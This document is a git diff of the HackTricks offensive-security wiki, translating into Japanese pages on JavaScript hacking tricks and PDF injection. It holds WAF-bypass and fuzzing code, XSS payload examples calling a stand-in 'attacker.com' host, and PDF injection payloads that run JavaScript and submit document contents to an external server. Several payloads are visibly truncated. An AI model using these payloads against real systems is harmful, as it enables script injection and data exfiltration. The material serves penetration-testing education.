protections. This python code receive as input 2bytes and it search a surrogate pairs that have the first byte as the the last bytes of the High surrogate pair and the the last byte as the last byte of the low surrogate pair. - +このテクニックはXSSにはあまり役立ちませんが、WAFの保護をバイパスするのに役立つかもしれません。このPythonコードは2バイトを入力として受け取り、最初のバイトがHighサロゲートペアの最後のバイトと一致し、最後のバイトがLowサロゲートペアの最後のバイトと一致するサロゲートペアを検索します。 ```python def unicode(findHex): - for i in range(0,0xFFFFF): - H = hex(int(((i - 0x10000) / 0x400) + 0xD800)) - h = chr(int(H[-2:],16)) - L = hex(int(((i - 0x10000) % 0x400 + 0xDC00))) - l = chr(int(L[-2:],16)) - if(h == findHex[0]) and (l == findHex[1]): - print(H.replace("0x","\\u")+L.replace("0x","\\u")) +for i in range(0,0xFFFFF): +H = hex(int(((i - 0x10000) / 0x400) + 0xD800)) +h = chr(int(H[-2:],16)) +L = hex(int(((i - 0x10000) % 0x400 + 0xDC00))) +l = chr(int(L[-2:],16)) +if(h == findHex[0]) and (l == findHex[1]): +print(H.replace("0x","\\u")+L.replace("0x","\\u")) ``` - -More info: +詳細情報: * [https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md](https://github.com/dreadlocked/ctf-writeups/blob/master/nn8ed/README.md) * [https://mathiasbynens.be/notes/javascript-unicode](https://mathiasbynens.be/notes/javascript-unicode) [https://mathiasbynens.be/notes/javascript-encoding](https://mathiasbynens.be/notes/javascript-encoding) -### `javascript{}:` Protocol Fuzzing - +### `javascript{}:` プロトコルのファジング ```javascript -// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition. +// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 34). Kindle Edition. log=[]; let anchor = document.createElement('a'); for(let i=0;i<=0x10ffff;i++){ - anchor.href = `javascript${String.fromCodePoint(i)}:`; - if(anchor.protocol === 'javascript:') { - log.push(i); - } +anchor.href = `javascript${String.fromCodePoint(i)}:`; +if(anchor.protocol === 'javascript:') { +log.push(i); +} } console.log(log)//9,10,13,58 // Note that you could BF also other possitions of the use of multiple chars @@ -171,20 +193,30 @@ document.body.append(anchor) // Another way to test Test ``` - ### URL Fuzzing +URL Fuzzingは、Webアプリケーションのセキュリティテスト中に使用されるテクニックです。このテクニックでは、WebアプリケーションのURLに対して異なるパラメータや値を注入して、アプリケーションの挙動をテストします。URL Fuzzingは、アプリケーションが予期しない入力に対して適切に処理されるかどうかを確認するために使用されます。 + +URL Fuzzingは、以下のような攻撃を特定するために使用されます。 + +- パラメータの値によるアプリケーションのクラッシュ +- パラメータの値によるアプリケーションのエラー +- パラメータの値によるアプリケーションのセキュリティホール + +URL Fuzzingは、自動化ツールを使用して行うことができます。これにより、大量の異なるパラメータや値を短時間でテストすることができます。また、URL Fuzzingは、Webアプリケーションのセキュリティテストの一環として行われることが多いです。 + +URL Fuzzingの目的は、アプリケーションの脆弱性を特定し、それを悪用することです。したがって、URL Fuzzingは、正当な目的でのみ使用されるべきです。 ```javascript -// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 36-37). Kindle Edition. +// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (pp. 36-37). Kindle Edition. // Before the protocol a=document.createElement('a'); log=[]; for(let i=0;i<=0x10ffff;i++){ - a.href = `${String.fromCodePoint(i)}https://hacktricks.xyz`; - if(a.hostname === 'hacktricks.xyz'){ - log.push(i); - } +a.href = `${String.fromCodePoint(i)}https://hacktricks.xyz`; +if(a.hostname === 'hacktricks.xyz'){ +log.push(i); +} } console.log(log) //0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 @@ -192,93 +224,87 @@ console.log(log) //0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 a=document.createElement('a'); log=[]; for(let i=0;i<=0x10ffff;i++){ - a.href = `/${String.fromCodePoint(i)}/hacktricks.xyz`; - if(a.hostname === 'hacktricks.xyz'){ - log.push(i); - } +a.href = `/${String.fromCodePoint(i)}/hacktricks.xyz`; +if(a.hostname === 'hacktricks.xyz'){ +log.push(i); +} } console.log(log) //9,10,13,47,92 ``` - ### HTML Fuzzing - - +HTMLファジング ```javascript -// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 38). Kindle Edition. +// Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 38). Kindle Edition. // Fuzzing chars that can close an HTML comment let log=[]; let div = document.createElement('div'); for(let i=0;i<=0x10ffff;i++){ - div.innerHTML=``; - if(div.querySelector('span')){ - log.push(i); - } +div.innerHTML=``; +if(div.querySelector('span')){ +log.push(i); +} } console.log(log)//33,45,62 ``` +## **属性の分析** -## **Analizing attributtes** +Portswiggerのツール**Hackability Inspector**は、JavaScriptオブジェクトの**属性**を分析するのに役立ちます。チェック:[https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E) -The tool **Hackability inspector** from Portswigger helps to **analyze** the **attributtes** of a javascript object. Check: [https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E](https://portswigger-labs.net/hackability/inspector/?input=x.contentWindow\&html=%3Ciframe%20src=//subdomain1.portswigger-labs.net%20id=x%3E) +## **.map jsファイル** -## **.map js files** +* .map jsファイルをダウンロードするトリック:[https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7) +* これらのファイルを分析するためにこのツールを使用できます:[https://github.com/paazmaya/shuji](https://github.com/paazmaya/shuji) -* Trick to download .map js files: [https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7](https://medium.com/@bitthebyte/javascript-for-bug-bounty-hunters-part-2-f82164917e7) -* You can use this tool to analyze these files [https://github.com/paazmaya/shuji](https://github.com/paazmaya/shuji) +## "--"代入 -## "--" Assignment - -The decrement operator `--` is also an asignment. This operator takes a value and then decrements it by one. If that value is not a number, it will be set to `NaN`. This can be used to **remove the content of variables from the environment**. +減算演算子`--`は、代入演算子でもあります。この演算子は値を受け取り、それを1減算します。値が数値でない場合、`NaN`に設定されます。これは、変数の内容を環境から削除するために使用できます。 ![](<../../.gitbook/assets/image (553).png>) ![](<../../.gitbook/assets/image (554).png>) -## Functions Tricks +## 関数のトリック -### .call and .apply - -The **`.call`** method of a function is used to **run the function**.\ -The **first argument** it expects by default is the **value of `this`** and if **nothing** is provided, **`window`** will be that value (unless **`strict mode`** is used). +### .callと.apply +関数の**`.call`**メソッドは、関数を実行するために使用されます。\ +デフォルトで期待される**最初の引数**は**`this`の値**であり、何も指定されていない場合は**`window`**がその値になります(**`strict mode`**が使用されていない限り)。 ```javascript function test_call(){ - console.log(this.value); //baz +console.log(this.value); //baz } new_this={value:"hey!"} test_call.call(new_this); // To pass more arguments, just pass then inside .call() function test_call() { - console.log(arguments[0]); //"arg1" - console.log(arguments[1]); //"arg2" - console.log(this); //[object Window] +console.log(arguments[0]); //"arg1" +console.log(arguments[1]); //"arg2" +console.log(this); //[object Window] } test_call.call(null, "arg1", "arg2") // If you use the "use strict" directive "this" will be null instead of window: function test_call() { - "use strict"; - console.log(this); //null +"use strict"; +console.log(this); //null } test_call.call(null) - + //The apply function is pretty much exactly the same as the call function with one important difference, you can supply an array of arguments in the second argument: function test_apply() { - console.log(arguments[0]); //"arg1" - console.log(arguments[1]); //"arg2" - console.log(this); //[object Window] +console.log(arguments[0]); //"arg1" +console.log(arguments[1]); //"arg2" +console.log(this); //[object Window] } test_apply.apply(null, ["arg1", "arg2"]) ``` - ### Arrow functions -Arrow functions allow you to generate functions in a single line more easily (if you understand them) - +アロー関数は、1行で関数をより簡単に生成することができます(理解している場合)。 ```javascript // Traditional function (a){ return a + 1; } @@ -301,9 +327,7 @@ let a = 4; let b = 2; () => a + b + 1; ``` - -So, most of the previous functions are actually useless because we aren't saving them anywhere to save and call them. Example creating the `plusone` function: - +したがって、以前のほとんどの関数は実際には無意味です。なぜなら、それらを保存して呼び出すための場所がないからです。例えば、`plusone` 関数を作成します。 ```javascript // Traductional function plusone (a){ return a + 1; } @@ -311,15 +335,13 @@ function plusone (a){ return a + 1; } //Arrow plusone = a => a + 100; ``` +### バインド関数 -### Bind function - -The bind function allow to create a **copy** of a **function modifying** the **`this`** object and the **parameters** given. - +バインド関数は、与えられた`this`オブジェクトとパラメータを変更して、関数の**コピー**を作成することができます。 ```javascript //This will use the this object and print "Hello World" var fn = function ( param1, param2 ) { - console.info( this, param1, param2 ); +console.info( this, param1, param2 ); } fn('Hello', 'World') @@ -329,7 +351,7 @@ copyFn('Hello', 'World') //This will use the "console" object as "this" object inside the function and print "fixingparam1 Hello" var bindFn_change = fn.bind(console, "fixingparam1"); -bindFn_change('Hello', 'World') +bindFn_change('Hello', 'World') //This will still use the this object and print "fixingparam1 Hello" var bindFn_thisnull = fn.bind(null, "fixingparam1"); @@ -339,34 +361,28 @@ bindFn_change('Hello', 'World') var bindFn_this = fn.bind(this, "fixingparam1"); bindFn_change('Hello', 'World') ``` - {% hint style="info" %} -Note that using **`bind`** you can manipulate the **`this`** object that is going to be used when calling the function. +**`bind`**を使用することで、関数を呼び出す際に使用される**`this`**オブジェクトを操作することができます。 {% endhint %} -### Function code leak - -If you can **access the object** of a function you can **get the code** of that function +### 関数コードの漏洩 +関数のオブジェクトに**アクセスできる**場合、その関数の**コードを取得**することができます。 ```javascript function afunc(){ - return 1+1; +return 1+1; } console.log(afunc.toString()); //This will print the code of the function console.log(String(afunc)); //This will print the code of the function console.log(this.afunc.toString()); //This will print the code of the function console.log(global.afunc.toString()); //This will print the code of the function ``` - -In cases where the **function doesn't have any name**, you can still print the **function code** from within: - +場合によっては、**関数に名前がない**場合でも、**関数のコード**を内部から出力することができます。 ```javascript (function (){ return arguments.callee.toString(); })() (function (){ return arguments[0]; })("arg0") ``` - -Some **random** ways to **extract the code** of a function (even comments) from another function: - +他の関数から関数のコード(コメントも含む)を抽出するための**ランダムな**方法のいくつか: ```javascript (function (){ return retFunc => String(arguments[0]) })(a=>{/* Hidden commment */})() (function (){ return retFunc => Array(arguments[0].toString()) })(a=>{/* Hidden commment */})() @@ -374,10 +390,9 @@ Some **random** ways to **extract the code** of a function (even comments) from (u=>(String(u)))(_=>{ /* Hidden commment */ }) (u=>_=>(String(u)))(_=>{ /* Hidden commment */ })() ``` +## サンドボックスの脱出 - windowオブジェクトの回復 -## Sandbox Escape - Recovering window object - -The Window object allows to reach globally defined functions like alert or eval. +Windowオブジェクトは、alertやevalなどのグローバルに定義された関数にアクセスすることができます。 {% code overflow="wrap" %} ```javascript @@ -411,9 +426,9 @@ Error.prepareStackTrace=function(error, callSites){ // From an HTML event // Events from HTML are executed in this context with(document) { - with(element) { - //executed event - } +with(element) { +//executed event +} } // Because of that with(document) it's possible to access properties of document like: @@ -421,19 +436,34 @@ with(document) { ``` {% endcode %} -## Breakpoint on access to value +## 値へのアクセス時のブレークポイント +```javascript +Object.defineProperty(window, 'value', { + get: function() { + debugger; + return this._value; + }, + set: function(val) { + this._value = val; + } +}); +``` + +This JavaScript code sets a breakpoint whenever the `value` property is accessed. It uses the `Object.defineProperty()` method to define a getter and setter for the `value` property. The getter function includes a `debugger` statement, which triggers a breakpoint in the browser's developer tools whenever the `value` property is accessed. The setter function simply assigns the value to the `_value` property. + +このJavaScriptコードは、`value`プロパティがアクセスされるたびにブレークポイントを設定します。`Object.defineProperty()`メソッドを使用して、`value`プロパティのゲッターとセッターを定義します。ゲッター関数には`debugger`ステートメントが含まれており、`value`プロパティがアクセスされるたびにブラウザの開発者ツールでブレークポイントがトリガされます。セッター関数は単に値を`_value`プロパティに代入します。 ```javascript // Stop when a property in sessionStorage or localStorage is set/get // via getItem or setItem functions sessionStorage.getItem = localStorage.getItem = function(prop) { - debugger; - return sessionStorage[prop]; +debugger; +return sessionStorage[prop]; } localStorage.setItem = function(prop, val) { - debugger; - localStorage[prop] = val; +debugger; +localStorage[prop] = val; } ``` @@ -442,78 +472,113 @@ localStorage.setItem = function(prop, val) { // For example sessionStorage.ppmap // "123".ppmap // Useful to find where weird properties are being set or accessed -// or to find where prototype pollutions are occurring +// or to find where prototype pollutions are occurring function debugAccess(obj, prop, debugGet=true){ - var origValue = obj[prop]; +var origValue = obj[prop]; - Object.defineProperty(obj, prop, { - get: function () { - if ( debugGet ) - debugger; - return origValue; - }, - set: function(val) { - debugger; - origValue = val; - } - }); +Object.defineProperty(obj, prop, { +get: function () { +if ( debugGet ) +debugger; +return origValue; +}, +set: function(val) { +debugger; +origValue = val; +} +}); }; debugAccess(Object.prototype, 'ppmap') ``` +## テストペイロードを自動的にブラウザでアクセスする -## Automatic Browser Access to test payloads +Sometimes, when testing for Cross-Site Scripting (XSS) vulnerabilities, it can be useful to automate the process of accessing test payloads in a browser. This can help in quickly identifying if the payload triggers any XSS vulnerabilities. +XSS vulnerabilities occur when an application fails to properly sanitize user input and allows malicious scripts to be executed in a victim's browser. By automating the process of accessing test payloads, we can efficiently test for these vulnerabilities. + +To automate browser access to test payloads, we can use various techniques: + +### 1. JavaScript `window.open()` + +We can use the JavaScript `window.open()` function to automatically open a new browser window or tab and load the test payload. This can be done by injecting the following code into the vulnerable input field: + +```javascript +javascript:window.open('http://attacker.com/payload'); +``` + +Replace `http://attacker.com/payload` with the URL of your test payload. + +### 2. Image Source (``) + +Another technique is to use the `` tag with the `src` attribute set to the test payload URL. This will cause the browser to automatically load the image, triggering the execution of the payload. Inject the following code into the vulnerable input field: + +```html + +``` + +Replace `http://attacker.com/payload` with the URL of your test payload. + +### 3. Iframe (` +``` + +Replace `http://attacker.com/payload` with the URL of your test payload. + +By automating browser access to test payloads, we can quickly identify if the application is vulnerable to XSS attacks. Remember to always perform these tests responsibly and with proper authorization. ```javascript //Taken from https://github.com/svennergr/writeups/blob/master/inti/0621/README.md const puppeteer = require("puppeteer"); const realPasswordLength = 3000; async function sleep(ms) { - return new Promise((resolve) => setTimeout(resolve, ms)); +return new Promise((resolve) => setTimeout(resolve, ms)); } (async () => { - const browser = await puppeteer.launch(); - const page = await browser.newPage(); - //Loop to iterate through different values - for (let i = 0; i < 10000; i += 100) { - console.log(`Run number ${i}`); - const input = `${"0".repeat(i)}${realPasswordLength}`; - console.log(` https://challenge-0621.intigriti.io/passgen.php?passwordLength=${input}&allowNumbers=true&allowSymbols=true×tamp=1624556811000`); - //Go to the page - await page.goto( - `https://challenge-0621.intigriti.io/passgen.php?passwordLength=${input}&allowNumbers=true&allowSymbols=true×tamp=1624556811000` - ); - //Call function "generate()" inside the page - await page.evaluate("generate()"); - //Get node inner text from an HTML element - const passwordContent = await page.$$eval( - ".alert .page-content", - (node) => node[0].innerText - ); - //Transform the content and print it in console - const plainPassword = passwordContent.replace("Your password is: ", ""); - if (plainPassword.length != realPasswordLength) { - console.log(i, plainPassword.length, plainPassword); - } +const browser = await puppeteer.launch(); +const page = await browser.newPage(); +//Loop to iterate through different values +for (let i = 0; i < 10000; i += 100) { +console.log(`Run number ${i}`); +const input = `${"0".repeat(i)}${realPasswordLength}`; +console.log(` https://challenge-0621.intigriti.io/passgen.php?passwordLength=${input}&allowNumbers=true&allowSymbols=true×tamp=1624556811000`); +//Go to the page +await page.goto( +`https://challenge-0621.intigriti.io/passgen.php?passwordLength=${input}&allowNumbers=true&allowSymbols=true×tamp=1624556811000` +); +//Call function "generate()" inside the page +await page.evaluate("generate()"); +//Get node inner text from an HTML element +const passwordContent = await page.$$eval( +".alert .page-content", +(node) => node[0].innerText +); +//Transform the content and print it in console +const plainPassword = passwordContent.replace("Your password is: ", ""); +if (plainPassword.length != realPasswordLength) { +console.log(i, plainPassword.length, plainPassword); +} - await sleep(1000); - } - await browser.close(); +await sleep(1000); +} +await browser.close(); })(); ``` -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ会社で働いていますか?** **HackTricksで会社を宣伝したいですか?** または、**PEASSの最新バージョンにアクセスしたいですか?** または、**HackTricksをPDFでダウンロードしたいですか?** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
diff --git a/pentesting-web/xss-cross-site-scripting/pdf-injection.md b/pentesting-web/xss-cross-site-scripting/pdf-injection.md index 31a8b0394..2e8673c6a 100644 --- a/pentesting-web/xss-cross-site-scripting/pdf-injection.md +++ b/pentesting-web/xss-cross-site-scripting/pdf-injection.md @@ -1,42 +1,40 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出**してください。
-**If your input is being reflected inside a PDF file, you can try to inject PDF data to execute JavaScript or steal the PDF content.** +**PDFファイル内に入力が反映されている場合、JavaScriptを実行したり、PDFの内容を盗み出すためにPDFデータを注入することができます。** -The following information was taken from [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration) +以下の情報は[**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)から取得されました。 ## PDF-Lib -This time, I was using [PDFLib](https://pdf-lib.js.org). I took some time to use the library to create an annotation and see if I could inject a closing parenthesis into the annotation URI - and it worked! The sample vulnerable code I used to generate the annotation code was: +今回は、[PDFLib](https://pdf-lib.js.org)を使用していました。ライブラリを使用して注釈を作成し、注釈URIに閉じ括弧を注入できるかどうかを確認しました。そして、うまくいきました!私が使用した脆弱なコードのサンプルは次のとおりです: `...` \ `A: {`\ - `Type: 'Action',`\ - `S: 'URI',`\ - ``URI: PDFString.of(`injection)`),``\ - `}`\ - `})`\ +`Type: 'Action',`\ +`S: 'URI',`\ +``URI: PDFString.of(`injection)`),``\ +`}`\ +`})`\ `...` -[Full code:](https://github.com/PortSwigger/portable-data-exfiltration/blob/main/PDF-research-samples/pdf-lib/first-injection/test.js) +[完全なコード:](https://github.com/PortSwigger/portable-data-exfiltration/blob/main/PDF-research-samples/pdf-lib/first-injection/test.js) -How did I know the injection was successful? The PDF would render correctly unless I injected a closing parenthesis. This proved that the closing parenthesis was breaking out of the string and causing invalid PDF code. Breaking the PDF was nice, but I needed to ensure I could execute JavaScript of course. I looked at the rendered PDF code and noticed the output was being encoded using the FlateDecode filter. I wrote a little script to deflate the block and the output of the annotation section looked like this:`<<`\ +注入が成功したかどうかはどのように知りましたか?閉じ括弧を注入しない限り、PDFは正しくレンダリングされます。これにより、閉じ括弧が文字列から抜け出して無効なPDFコードを引き起こしていることが証明されました。PDFを壊すことができましたが、もちろんJavaScriptを実行できることを確認する必要がありました。レンダリングされたPDFコードを調べると、出力がFlateDecodeフィルタを使用してエンコードされていることに気付きました。ブロックを解凍するための小さなスクリプトを作成し、注釈セクションの出力は次のようになりました:`<<`\ `/Type /Annot`\ `/Subtype /Link`\ `/Rect [ 50 746.89 320 711.89 ]`\ @@ -49,37 +47,34 @@ How did I know the injection was successful? The PDF would render correctly unle `>>`\ `>>` -As you can clearly see, the injection string is closing the text boundary with a closing parenthesis, which leaves an existing closing parenthesis that causes the PDF to be rendered incorrectly: +明らかに、注入文字列は閉じ括弧でテキストの境界を閉じており、PDFが正しくレンダリングされないようになっています: -![Screenshot showing an error dialog when loading the PDF](https://portswigger.net/cms/images/34/f4/3ed2-article-screenshot-showing-damaged-pdf.png) +![PDFを読み込む際にエラーダイアログが表示されるスクリーンショット](https://portswigger.net/cms/images/34/f4/3ed2-article-screenshot-showing-damaged-pdf.png) -Great, so I could break the rendering of the PDF, now what? I needed to come up with an injection that called some JavaScript - the alert(1) of PDF injection. +素晴らしい、PDFのレンダリングを壊すことができましたが、次はどうすればいいでしょうか?JavaScriptを呼び出す注入を考える必要があります - PDF注入のalert(1)です。 -Just like how XSS vectors depend on the browser's parsing, PDF injection exploitability can depend on the PDF renderer. I decided to start by targeting Acrobat because I thought the vectors were less likely to work in Chrome. Two things I noticed: 1) You could inject additional annotation actions and 2) if you repair the existing closing parenthesis then the PDF would render. After some experimentation, I came up with a nice payload that injected an additional annotation action, executed JavaScript, and repaired the closing parenthesis:`/blah)>>/A<>/>>(` +XSSベクトルがブラウザの解析に依存するように、PDF注入の脆弱性はPDFレンダラに依存する場合があります。私はまずAcrobatをターゲットにしました。Chromeではベクトルがうまく機能しないと思われたためです。2つのことに気付きました:1)追加の注釈アクションを注入できること、2)既存の閉じ括弧を修復するとPDFがレンダリングされること。いくつかの実験の結果、注入が追加の注釈アクションを注入し、JavaScriptを実行し、閉じ括弧を修復する素敵なペイロードを作成しました:`/blah)>>/A<>/>>(` -First I break out of the parenthesis, then break out of the dictionary using >> before starting a new annotation dictionary. The /S/JavaScript makes the annotation JavaScript-based and the /JS is where the JavaScript is stored. Inside the parentheses is our actual JavaScript. Note that you don't have to escape the parentheses if they're balanced. Finally, I add the type of annotation, finish the dictionary, and repair the closing parenthesis. This was so cool; I could craft an injection that executed JavaScript but so what, right? You can execute JavaScript but you don't have access to the DOM, so you can't read cookies. Then James popped up and suggested stealing the contents of the PDF from the injection. I started looking at ways to get the contents of a PDF. In Acrobat, I discovered that you can use JavaScript to submit forms without any user interaction! Looking at the spec for the JavaScript API, it was pretty straightforward to modify the base injection and add some JavaScript that would send the entire contents of the PDF code to an external server in a POST request:`/blah)>>/A<>を使用して辞書から抜け出します。/S/JavaScriptは注釈をJavaScriptベースにし、/JSはJavaScriptが格納される場所です。括弧の中には実際のJavaScriptがあります。括弧がバランスしている場合は、括弧をエスケープする必要はありません。最後に、注釈のタイプを追加し、辞書を終了し、閉じ括弧を修復します。これはとてもクールでした。JavaScriptを実行する注入を作成できましたが、それだけでは何の役にも立ちませんよね?JavaScriptを実行できますが、DOMにアクセスすることはできないため、クッキーを読み取ることはできません。その後、Jamesが現れて、注入からPDFの内容を盗むことを提案しました。PDFの内容を取得する方法を調べ始めました。Acrobatで、ユーザーの操作なしにフォームを送信するためにJavaScriptを使用できることを発見しました!JavaScript APIの仕様を見ると、PDFコードのすべての内容をPOSTリクエストで外部サーバーに送信するJavaScriptを追加するのはかなり簡単でした:`/blah)>>/A<>/>>(` -The alert is not needed; I just added it to prove the injection was executing JavaScript. +alertは必要ありませんが、注入がJavaScriptを実行していることを証明するために追加しました。 -Next, just for fun, I looked at stealing the contents of the PDF without using JavaScript. From the PDF specification, I found out that you can use an action called SubmitForm. I used this in the past when I constructed a PDF for a scan check in Burp Suite. It does exactly what the name implies. It also has a Flags entry in the dictionary to control what is submitted. The Flags dictionary key accepts a single integer value, but each individual setting is controlled by a binary bit. A good way to work with these settings is using the new binary literals in ES6. The binary literal should be 14 bits long because there are 14 flags in total. In the following example, all of the settings are disabled:`0b00000000000000` - -To set a flag, you first need to look up its bit position (table 237 of the [PDF specification](https://www.adobe.com/content/dam/acom/en/devnet/pdf/pdfs/PDF32000\_2008.pdf)). In this case, we want to set the SubmitPDF flag. As this is controlled by the 9th bit, you just need to count 9 bits from the right:`0b00000100000000` - -If you evaluate this with JavaScript, this results in the decimal value 256. In other words, setting the Flags entry to 256 will enable the SubmitPDF flag, which causes the contents of the PDF to be sent when submitting the form. All we need to do is use the base injection we created earlier and modify it to call the SubmitForm action instead of JavaScript:`/blah)>>/A<>/A<>/>>(` ## sPDF -Next I applied my methodology to another PDF library - [jsPDF](https://parall.ax/products/jspdf) - and found it was vulnerable too. Exploiting this library was quite fun because they have an API that can execute in the browser and will allow you to generate the PDF in real time as you type. I noticed that, like the PDP-Lib library, they forgot to escape parentheses inside annotation URLs. Here the url property was vulnerable:`doc.createAnnotation({bounds:`\ +次に、別のPDFライブラリである[jsPDF](https://parall.ax/products/jspdf)に対して自分の手法を適用し、脆弱性があることを発見しました。このライブラリを攻撃するのはかなり楽しかったです。なぜなら、ブラウザで実行できるAPIがあり、入力するたびにリアルタイムでPDFを生成することができるからです。PDP-Libライブラリと同様に、彼らも注釈のURL内の括弧をエスケープするのを忘れていました。ここでは、urlプロパティが脆弱でした:`doc.createAnnotation({bounds:`\ `{x:0,y:10,w:200,h:200},`\ ``type:'link',url:`/input`});``\ `//vulnerable` -So I generated a PDF using their API and injected PDF code into the url property: +そのため、彼らのAPIを使用してPDFを生成し、PDFコードをurlプロパティに注入しました: `var doc = new jsPDF();`\ `doc.text(20, 20, 'Hello world!');`\ @@ -89,108 +84,104 @@ So I generated a PDF using their API and injected PDF code into the url property `/blah)>>/A<>/A<>/A<> >>`\ +さらに調査を進めると、複数の注釈を注入することも可能であることがわかりました。これは、単にアクションを注入するだけでなく、注釈から抜け出して独自のrect座標を定義し、ドキュメントのどのセクションをクリック可能にすることができることを意味します。このテクニックを使用すると、ドキュメント全体をクリック可能にすることができました。`/) >> >>`\ `<> >>`\ ``<>/(`});``\ `doc.text(20, 20, 'Auto execute');` -When you close the PDF, this annotation will fire:`var doc = new jsPDF();`\ +PDFを閉じると、この注釈が発火します:`var doc = new jsPDF();`\ ``doc.createAnnotation({bounds:{x:0,y:10,w:200,h:200},type:'link',url:`/) >> >>``\ ``<>/(`});``\ `doc.text(20, 20, 'Close me');` ## Chrome -I've talked a lot about Acrobat but what about PDFium (Chrome's PDF reader)? Chrome is tricky; the attack surface is much smaller as its JavaScript support is more limited than Acrobat's. The first thing I noticed was that JavaScript wasn't being executed in annotations at all, so my proof of concepts weren't working. In order to get the vectors working in Chrome, I needed to at least execute JavaScript inside annotations. First though, I decided to try and overwrite a URL in an annotation. This was pretty easy. I could use the base injection I came up with before and simply inject another action with a URI entry that would overwrite the existing URL:`var doc = new jsPDF();`\ 